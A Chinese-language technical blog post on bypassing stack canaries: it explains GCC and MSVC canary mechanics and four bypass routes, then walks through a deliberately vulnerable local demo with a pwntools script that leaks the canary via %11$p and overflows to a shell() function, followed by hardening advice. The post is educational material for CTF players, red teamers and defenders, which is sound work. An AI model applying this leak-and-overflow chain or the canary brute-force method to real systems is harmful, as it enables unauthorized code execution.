news 2026/10/19 5:48:15

Canary绕过全解析:栈溢出、信息泄漏与利用链实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Canary绕过全解析:栈溢出、信息泄漏与利用链实战

1. 为什么安全研究者都在研究怎么“绕 canary”

1.1 一场授权渗透演练带出来的问题

前一阵做某次授权边界设备评估的时候,我在目标二进制里同时找到了格式化字符串和栈溢出。看到溢出点那一刻心里其实没多少波动,因为按老思路,栈溢出直接盖返回地址就能拿控制流。真正让我停下来的是编译选项里那行-fstack-protector。

也就是说,这个目标开了栈金丝雀(Stack Canary)保护。直接盖返回地址是行不通的,函数尾言会把栈上的 canary 和一个随机数比对,哪怕只差一个字节,程序都直接调用__stack_chk_fail自杀。于是那天的任务从“写个溢出 payload”变成了“先想办法绕过 canary 保护”。整个绕过过程走下来,我意识到这不是一个孤立的技巧,而是一套可以被复用的思路链。这篇博文就是想把这套东西完整写下来。

1.2 Canary 是什么,先给一句话结论

Canary 是一种防御栈缓冲区溢出的机制。它在被保护函数的栈帧里,插入一个随机值,放在局部变量和返回地址之间;函数返回之前,检查这个值有没有被改写。一旦发现异常,就说明可能有人试图破坏返回地址,程序直接终止。用一句话形容:它是一条“引爆线”,攻击者只要碰到它,炸弹先响,攻击也就失败了。

但“会引爆”不意味着“不能绕”。真实的绕过手法非常成熟:信息泄漏、逐字节爆破、覆盖校验失败的处理函数、寻找没有插 canary 的旁路函数,甚至利用 canary 机制本身的副作用做信息泄漏。这些不是黑魔法,而是建立在“安全机制有边界”这个基础上的工程问题。

1.3 哪些人适合看这篇文章

如果你是做漏洞分析、红队评估的,这篇文章给你一套绕过 canary 的决策框架和实操模板;如果你是打 CTF 的,文中演示的“格式化字符串泄漏 canary + 栈溢出拿 shell”是最高频的考点之一;如果你是在做防御的安全工程师,同样值得读——只有亲手走一遍攻击链,你才知道该在哪一层把漏洞堵死。我尽量把原理讲透,同时把能复现的步骤、参数和避坑记录都放在后面。

2. 栈金丝雀的工作机理:先搞懂它怎么防

这一章不直接讲“怎么绕”,而是先把 canary 这个机制掰开揉碎。不少朋友上来就找 payload,结果连 canary 为什么会出现在栈上的某个位置都没搞清楚,遇到一点偏移变化就卡死。理解机理之后,很多问题其实能自己推出来。

2.1 Linux 和 Windows 的两套实现差异

提到 canary,很多人默认是 Linux 下的 GCC 栈保护。实际上 Windows 平台上也有对应的机制,通常叫 GS protection(基于__security_cookie)。两套实现的细节差异很大,绕过手法也因此不同。

维度Linux(GCC / glibc)Windows(MSVC / GS)
随机值来源进程启动时从系统熵源生成,存在 TLS 中,x86-64 下通过fs:0x28访问全局变量__security_cookie,位于 .data 段,进程启动时初始化
存放方式原样放在局部变量与保存的 rbp 之间存放时会与返回地址做异或,相当于“加密”后再放栈上
检测方式返回前把栈上的 canary 与 TLS 里的随机值比对先异或还原,再与__security_cookie比对
失败处理调用__stack_chk_fail,打印 stack smashing 并 abort调用__report_gsfailure,触发异常处理流程
绕过关注点关注 TLS 中随机值的泄漏、校验函数 GOT 表是否可写关注 cookie 是否可预测、能否覆盖 SEH、能否绕过报错路径

同样是“随机值 + 返回前校验”,但实现差异决定了绕过时关注的点完全不同。Windows 的 GS 因为 cookie 和返回地址做了异或,即使你读到了栈上的 cookie 密文,还得找到算法还原回去,难度比 Linux 高不少。这篇文章后续的演示主要基于 Linux 环境,这是目前 CTF 和红队评估中最常见的场景。

2.2 Canary 放在哪、怎么校验、触发后会怎样

以 x86-64 Linux 下 GCC 自动插入 canary 的函数为例,栈帧布局大致是这样:

高地址 +----------------------+ | 返回地址 (ret addr) | +----------------------+ | 保存的 rbp | +----------------------+ | canary (8字节) | +----------------------+ | 局部缓冲区/局部变量 | +----------------------+ 低地址

在函数序言里,编译器会插入类似这样的指令:先取出 TLS 中的随机值,放到栈上的 canary 槽位;在函数尾言里,再做一次异或比较,如果结果不是 0,就跳转到__stack_chk_fail。

mov rax, QWORD PTR fs:0x28 mov QWORD PTR [rbp-0x8], rax ... xor rax, QWORD PTR [rbp-0x8] jne __stack_chk_fail

需要注意一个细节:glibc 生成这个随机值时,会把低字节强制设置成 0x00。这个设计是为了让 canary 在某些字符串拷贝场景中天然充当“截断符”。比如strcpy往栈上复制一段字符串时,遇到 canary 低字节的\0就会停下,避免把 canary 也覆盖掉。这个特性也是后面做信息泄漏定位时最常用的标记——一个以 0x00 结尾的栈上数值,往往就是 canary。

一旦检测失败,glibc 默认会打印*** stack smashing detected ***: <program> terminated然后调用 abort 终止进程。对攻击者来说,这个打印行为有时候反而会被利用成信息泄漏渠道,这在后面第 3 章会详说。

2.3 编译器什么时候才插入 Canary

直接说结论:并不是所有函数都会被插 canary。GCC 的栈保护选项是一套启发式规则:

  • -fstack-protector:只为“包含易受攻击对象(比如局部 char 数组)”的函数插 canary;
  • -fstack-protector-strong:覆盖范围更广,只要函数内有局部数组、或对局部变量取地址、或使用了 frame pointer 等,都会被保护;
  • -fstack-protector-all:所有函数都插。

很多实际编译的二进制用的是默认启发式配置。如果你反编译一个目标,经常能看到“有些函数有 canary 检查,有些没有”。比如函数内部只做简单计算、没有缓冲区,编译器就不会浪费这几条指令。攻击者最喜欢的就是这种“漏保护”的函数——如果溢出恰好发生在某个没有插 canary 的函数里,那 canary 从一开始就不存在,你的溢出直接畅通无阻。

所以,当你看到一个程序开了 canary,第一反应不要默认“所有栈溢出都被挡住了”。先反编译,看看溢出函数本身有没有真正被插入 canary 检查。我见过不少目标,全局开启了栈保护,但关键的那几个函数偏偏没被启发式规则覆盖到。

2.4 关于 canary 的几个常见误解

第一,“开了 canary 就等于安全”。实际上 canary 只保护返回地址和控制流完整性,它不保护栈上的函数指针、局部对象、堆对象。攻击面永远比单一防御机制宽。

第二,“canary 在栈上的位置是固定的”。编译器优化、栈帧大小、缓冲区和 canary 之间的填充都可能变。你找到一个偏移,换个编译参数就失效了,必须在目标上动态确认。

第三,“canary 就是栈上一个神秘数值”。它本质上是 TLS 里的进程级随机值,每个进程启动时生成;但同一进程内多次调用函数,插到栈上的值是一样的。这个特性是“泄漏一次,到处填充”的核心依据。

第四,“Windows 的 GS 和 Linux canary 一回事”。实际上就像前面表格写的,Windows 还多了一步与返回地址异或,绕过思路完全不同。

3. 绕过 Canary 的主流思路拆解

理解了它怎么防,接下来就是正题:怎么绕。我根据实际场景把绕过思路分成四条主线,分别对应不同的漏洞条件。大多数目标只要满足其中一条,canary 这道防线就能被拆掉。

3.1 思路一:信息泄漏拿 canary,最可靠的路线

这是最常见、也最优雅的方式。既然 canary 终归是进程里的一个随机值,那只要能让程序“主动”把这个值打印出来,问题就解决了。典型的泄漏来源包括:

  • 格式化字符串漏洞:printf(buf)里面如果出现%p、%x、%s,攻击者可以按偏移遍历栈上的数据。Canary 就躺在栈上某个位置,只要确定偏移,就能原样读出来。
  • 越界读:数组索引没有边界检查,从缓冲区向外读几个字节,canary 可能就在越界范围内。
  • 信息量回显型的溢出:比如服务把用户输入夹在输出里原样返回,而长度计算没处理好,可以多回显一点数据。

拿到 canary 之后,溢出 payload 就好构造了:先在局部缓冲区填满,下一步写入正确的 canary,再写保存的 rbp 和返回地址,函数返回前的检查照样能通过。等于你已经知道保险柜密码,输进去自然不触发警报。

定位 canary 的技巧我这里先给一个:在格式化字符串返回的各个栈值里,找一个以 0x00 结尾的 7 字节随机数(也就是整数值末尾两位是 00)。这是 canary 的典型特征。当然,栈上也可能有其他以 00 结尾的值,所以更稳妥的方法是扫两遍:同一个偏移在两次进程运行中如果值相同(同一个进程内),或者能稳定复现,大概率就是 canary。

3.2 思路二:fork 型服务上的逐字节爆破

有些场景下目标没有明显的泄漏点,但程序本身是“可以反复崩溃”的。典型结构是主进程fork()出子进程处理网络请求,每个子进程崩溃不影响主进程继续 fork 下一个。因为 fork 的子进程会继承父进程的 TLS 状态,所以 canary 对每一次新连接来说都是一样的。这就给了爆破空间。

Canary 的低字节固定是 0x00,所以实际需要猜测的高位只有 7 个字节。但逐位硬猜不现实,爆破通常从低字节开始,一次只猜一个字节:你发送一个溢出 payload,伪造返回地址并故意碰坏 canary 某一位,如果子进程崩溃,说明猜错了;如果子进程没有崩溃、继续正常返回并接收下一个输入,说明这一位猜对了。一个字节最多 256 种可能,四个字节最多 1024 次尝试,对 fork 型服务来说完全可接受。通常 32 位程序爆破整个 canary 是常规操作;64 位程序由于未知位太多,只爆破低 4 到 5 个字节,配合“地址部分覆盖”技术也能奏效。

这个思路的关键前提是服务必须能“重生”连接。遇到单进程、崩溃即退出的服务,爆破就不现实了——猜一次程序就没了。所以看到 canary 先别急着写循环,要判断程序架构是不是 fork 型。这里也提醒一下,很多 CTF 里 pwn 类题目偏爱 fork 型服务,就是这个原因。

3.3 思路三:绕过校验点,而不是绕过校验值

还有一类思路,从根上就不是“拿 canary”,而是想办法让校验环节不发生,或者让校验跳到一个对攻击者有利的地方。

第一个办法:覆盖__stack_chk_fail的 GOT 表项。如果程序是 Partial RELRO,GOT 表可写,攻击者把__stack_chk_fail的入口改成指向system或其他 gadget。这时即使你故意破坏 canary,函数进入错误处理路径后,执行的却是你的代码。严格来说这不算绕过校验,而是“劫持失败处理过程”。

第二个办法:找没有插入 canary 的函数做跳板。前面提到编译器只保护特定函数,如果你溢出的函数本身没被保护,那么 canary 这个概念在这里就不存在,直接覆盖返回地址即可。

第三个办法:溢出覆盖非返回地址的对象。Canary 保护的本质是保护返回地址和其他被编译器默认保护的栈帧结构,但它不保护栈上的函数指针、局部对象、C++ 对象的 vptr。如果溢出能覆盖到这些对象,让程序在返回之前就通过它们跳走,根本轮不到 canary 校验那一刻。

3.4 思路四:利用保护机制自身的副作用做信息泄漏

有些场景更好玩,canary 机制本身会变成泄漏渠道。glibc 的__stack_chk_fail在打印错误信息时,会把程序名(也就是argv[0])也打出来:

*** stack smashing detected ***: /path/to/program terminated

问题来了:argv[0]本身也是放在栈上的。如果攻击者能通过别的溢出,把栈上存放的argv[0]指针改成指向某个内存地址,那么触发 canary 失败时,程序就会打印那个地址处的字符串。这等于一个“任意地址读取”能力。历史上有多起真实漏洞就是通过这个方式完成信息泄漏的,后来部分新版本对这里做了调整,但很多老设备、嵌入式固件里依然存在。这个思路提醒我们:安全的“副作用”本身也是攻击面。

3.5 一条路走不通时怎么切换思路

实际评估里,很少能一眼确定用哪条路。我一般按下面这个顺序做判断:

  1. 目标能否反复崩溃并重生?能 → 考虑爆破。
  2. 目标是否存在格式化字符串或越界读?能 → 优先信息泄漏,直接拿 canary。
  3. 目标 RELRO 是否完整?Partial / No RELRO → 考虑覆盖__stack_chk_fail的 GOT。
  4. 溢出函数是否真的被编译器具名保护?没保护 → 直接用常规栈溢出。
  5. 栈上是否还放着其他可被覆盖的控制结构?有 → 绕过校验点,不碰 canary。

大部分情况下,信息泄漏是优先级最高的方案,因为成功率最高、副作用最小。爆破次之,但条件苛刻。另外两条线更像是“从侧面拆墙”,往往需要在反编译时发现特殊结构才能用。

4. 实操:本地靶机上完整绕过一轮

下面用一个我在本地搭的模拟靶机做完整演示。先说明,这个程序完全运行在本地虚拟机里,是为了把方法讲清楚做的教学样例,所有操作仅限授权测试环境。我特意把 PIE 关闭,把注意力集中在 canary 本身;真实环境中 PIE 开着也不可怕,只是多一步地址泄漏,后面第 5 章会讲。

4.1 靶机结构与编译

靶机代码故意设计成两个漏洞点:一个格式化字符串,一个栈溢出。两个漏洞分别放在不同函数里,主循环先调用泄漏函数,再调用溢出函数,方便分步操作。

#include <stdio.h> #include <stdlib.h> #include <unistd.h> void shell() { system("/bin/sh"); } void leak() { char buf[128]; fgets(buf, 128, stdin); printf(buf); printf("\n"); } void vuln() { char buf[64]; fgets(buf, 200, stdin); printf("input done.\n"); } int main() { setbuf(stdout, NULL); puts("[demo] canary bypass demo"); leak(); vuln(); return 0; }

编译命令用-fstack-protector,同时为了演示方便关掉 PIE:

gcc -fstack-protector -no-pie -o demo demo.c

编译完可以用checksec或者readelf看一眼,确认 canary 是否真的插入了:

readelf -s demo | grep __stack_chk_fail

能看到__stack_chk_fail的未定义符号,说明链接了栈保护逻辑。再反编译leak和vuln这两个函数,能看到fs:0x28的读取与检查,就说明两个函数都被加了 canary。

4.2 第一步 定位两个漏洞

第一个漏洞在leak():

fgets(buf, 128, stdin); printf(buf);

用户输入被直接当成格式化字符串打印。虽然buf最大 128 字节,不会溢出,但格式化字符串漏洞已经存在。

第二个漏洞在vuln():

char buf[64]; fgets(buf, 200, stdin);

fgets允许读入 200 字节,但buf只有 64 字节,直接造成栈溢出。由于这个函数有 canary 保护,所以一般栈溢出 payload 在这里会被挡住,必须先通过leak()把 canary 偷出来。

整个利用链就是这样:先用leak()泄漏 canary,再让主流程继续走到vuln(),构造包含正确 canary 的溢出 payload,覆盖返回地址到shell(),最终拿到 shell。

4.3 第二步 用格式化字符串泄漏 canary

先用简单的%p序列观察栈布局。我习惯发送一串带编号的格式串:

%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p

程序会从第一个参数开始依次打印栈上的值。canary 通常出现在缓冲区之后不远的位置。判断标准是找一个以0x00结尾的 8 字节值,也就是打印出来末尾是00的数字。

在本靶机上,通过调试确认 canary 对应的偏移是%11$p。注意,这个偏移跟编译器版本、优化选项、栈帧布局都有关系,不要直接照搬,一定要在自己环境里重新确认。

确认偏移后,用下面的 Python 脚本来泄漏 canary:

from pwn import * context.log_level = 'error' p = process('./demo') p.recvuntil(b'[demo] canary bypass demo\n') p.sendline(b'%11$p') leak = p.recvline().strip() canary = int(leak, 16) log.success('canary = %#x', canary)

运行后,输出类似:

[+] canary = 0x78af1000ab120c00

注意末尾是0c00,低位是 0x00,这就是 canary 的典型特征。拿到这个值后,vuln()函数栈上的 canary 你可以原样填入,因为同一个进程里 canary 是同一个随机值。

4.4 第三步 拼装溢出 payload,劫持控制流

现在走到vuln()。栈布局是:

buf[64] + canary + saved rbp + return address

所以溢出 payload 的组织方式如下:

  • 前 64 字节:填充buf;
  • 接着 8 字节:填入泄漏到的 canary,让返回前的校验通过;
  • 再 8 字节:覆盖保存的 rbp,这里可以是任意占位值,比如B* 8;
  • 最后 8 字节:覆盖返回地址为shell()的地址。

由于编译时用了-no-pie,程序基址是固定的,直接用 ELF 解析出shell()的地址即可:

from pwn import * context.log_level = 'error' elf = ELF('./demo') p = process('./demo') # 第一步:泄漏 canary p.recvuntil(b'[demo] canary bypass demo\n') p.sendline(b'%11$p') canary = int(p.recvline().strip(), 16) log.success('canary = %#x', canary) # 第二步:构造并发送溢出 payload payload = b'A' * 64 payload += p64(canary) payload += b'B' * 8 payload += p64(elf.sym['shell']) p.sendline(payload) p.interactive()

正常执行到最后,会拿到一个交互 shell。整个过程的核心逻辑一句话:canary 的值被“借”出来之后,它在栈上跟普通数据没有区别,你只要把它原样放回去,校验自然通过。

4.5 防守视角:同样一份代码,该怎么堵

绕得爽了,也别忘了换个身份看看怎么防守。如果这份代码交给一个安全工程师去加固,至少会做这几件事:

  • 把printf(buf)改成printf("%s", buf),格式化字符串漏洞直接消失;
  • 把fgets(buf, 200, stdin)改成fgets(buf, sizeof(buf), stdin),栈溢出直接消失;
  • 编译时加-fstack-protector-all -pie -z now -z relro,让 canary 覆盖全部函数,同时升级为 Full RELRO 和 PIE,攻击者即使拿到 canary 也还要解决基址问题,覆盖 GOT 的旁路也被切断。

你会发现,单靠栈 canary 并不能解决所有问题,它只是把攻击成本抬高了一截。真正有效的还是“漏洞不存在”或者“多层防御叠加”。

5. 常见问题与实战避坑

这一章我把实战中反复踩过的坑和学员、同行问得最多的问题集中整理出来,直接当作速查表用。

5.1 Canary 和 PIE 一起开怎么办

这是真实场景里最普遍的情况,也是很多人卡住的地方。其实思路没有本质变化:格式化字符串不仅能泄漏 canary,也能泄漏程序基址。栈上通常会残留返回地址,比如__libc_start_main+240或者程序自身的main+offset。前者可以用来算 libc 基址,后者可以用来算程序基址。操作流程大致是:

  1. 用格式化字符串一次性泄漏 canary 和一个栈上返回地址;
  2. 根据已知偏移,反推程序基址或 libc 基址;
  3. 再在溢出点构造 ROP 链,跳到system("/bin/sh")或one_gadget。

所以 PIE 只是多一个“泄漏地址并计算基址”的步骤,并不改变整个框架。

5.2 爆破 canary 的实践细节

  • 必须确认 is fork 型服务,且每个子进程继承父进程的 canary;
  • 从低字节往高字节逐位爆破,低字节为 0 不需要试,所以第一位从第二字节开始;
  • 判断“猜对”的标志是程序没有崩溃,继续正常执行后续流程(比如回显一段文字);
  • 对 64 位程序,爆破全部 7 个随机字节网络开销太大,通常只爆破低位 4~5 字节,然后配合地址部分覆盖技巧使用;
  • 注意加超时和重连逻辑,网络环境不好时误判率会飙升。

5.3 泄漏 canary 时最容易误判的几个点

  • Canary 不是栈上唯一的 0x00 结尾数值。局部变量的高位也可能碰巧是 0,要多次运行确认其稳定性,或者用“同进程重复触发泄漏函数两次、两次结果一致”的方法验证。
  • 打印出来的十六进制是内存字节序的“数字形态”,不要直接把它当字符串拼进 payload,必须用p64()转成字节。
  • 不要在第一次泄漏完就立刻发溢出 payload。要确认程序流程已经走到溢出函数,有的靶机两个函数之间还有别的输入消耗逻辑,漏发一次就错位。
  • 远程环境里 fork 模型和连接模型会影响 canary 是否恒定,测试前先摸清服务是“每连接 fork 新进程”还是“连接内处理多请求”。

5.4 工具链怎么选

我用得最多的还是 pwntools,它自带checksec、cyclic、fmt_payload,覆盖了检测、偏移计算、格式化字符串自动构造这些高频需求。ROPgadget 和 ropper 用来找 gadget,各有偏好,本质上干同一件事。调试时建议用带插件体系的调试器,直接在反汇编视图里观察fs:0x28的指令,能极大缩短确认 canary 偏移的时间。

不过工具只是加速理解的手段,真正值钱的是“你知道当前在栈的哪一层”。光会跑脚本,遇到编译器版本不同、栈布局变化,就可能翻车。我个人的习惯是:先用工具跑通,再手动反编译对照一遍关键偏移,确保每一步都有据可依。

最后再分享一点个人体会

做了这么多年漏洞分析,我最大的感受是:canary 这类防护的真正价值不是“让漏洞无法利用”,而是“让利用成本大幅上升”。在真实攻防里,攻击者如果遇到一个开了全量防护的目标,大概率会优先找别的路径,比如一个没保护的函数、一个信息泄漏点,甚至一个业务逻辑漏洞。所以防守方真正要做的,不是迷信某一种保护,而是把“漏洞少暴露 + 单点防护全面 + 失败可感知”这件事同时做到位。

如果你没亲手在本地搭过 canary 绕过靶机,强烈建议把第 4 章的代码跑一遍。踩过几次坑之后再回头看各家的漏洞报告,你会对“为什么有些栈溢出要连发两次 payload”“为什么有的利用链要先泄漏再覆盖”这些问题有完全不同的体感。建立这种体感,比背十份模板都有用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/19 5:46:47

机器人训练数据精筛:从规模至上到质量优先的多维评估框架

说实话&#xff0c;当我第一次看到"让机器人像美食家一样精挑细选训练数据"这个表述时&#xff0c;我是有点意外的。意外不是因为想法多新奇&#xff0c;而是在机器人学习这个圈子里&#xff0c;大家已经卷了很久的数据规模&#xff0c;突然有人说要开始挑食了。过去…

作者头像 李华
网站建设 2026/10/19 5:45:47

MySQL入门到进阶:数据库设计、SQL优化与避坑指南

很多人学 MySQL&#xff0c;都是从“安装”和“基础操作”开始的&#xff1a;官网下个安装包&#xff0c;装完敲几条 select、建一张表&#xff0c;就觉得自己入门了。但真正进项目写业务代码时才发现&#xff0c;字符集为什么乱码、索引为什么没生效、为什么别人同样一条 SQL …

作者头像 李华
网站建设 2026/10/19 5:43:32

物理AI时代来临:开发者如何抓住机器人智能化的新机遇?

每年CES&#xff0c;我都会把演讲全程看一遍再写速记。往年大家最关心的是显卡参数、游戏性能&#xff0c;但到了今年&#xff0c;风向明显变了——从展前预热到各厂家的动作来看&#xff0c;物理AI才是真正的主角。我说的物理AI&#xff0c;不是又一个概念炒作。上一轮生成式A…

作者头像 李华
网站建设 2026/10/19 5:43:32

同步压缩时频图+多尺度CNN,构建WTMCNN轴承故障诊断

前阵子做旋转机械状态监测项目&#xff0c;用振动加速度信号做轴承故障分类。一开始图省事&#xff0c;直接拿短时傅里叶变换出来的频谱图喂给CNN&#xff0c;测试集准确率卡在90%上下怎么都上不去。后来同事提醒了一句&#xff0c;把输入从普通时频图换成同步压缩时频图&#…

作者头像 李华
网站建设 2026/10/19 5:43:28

美团App逆向爬虫实战:Frida+APK分析+协议解密全流程

简介&#xff1a;这是一份面向Python中级开发者与数据采集实践者的美团App端数据爬取实战项目&#xff0c;聚焦反爬应对、接口逆向与结构化存储等核心难点&#xff0c;适用于安全研究、竞品分析及本地化数据集构建等场景。压缩包共23个文件&#xff0c;含7个Python主控与逻辑脚…

作者头像 李华
网站建设 2026/10/19 5:43:05

LITESTAR 4D道路照明设计:从参数建模到计算报告的全流程解析

做道路照明设计这些年&#xff0c;我越来越觉得&#xff0c;真正拉开项目差距的往往不是“会不会画图”&#xff0c;而是“能不能把光算明白”。LITESTAR 4D的道路附加模块&#xff0c;就是我在无数个改图夜晚里慢慢用顺手的工具。它解决的并不是“把路照亮”这种笼统的问题&am…

作者头像 李华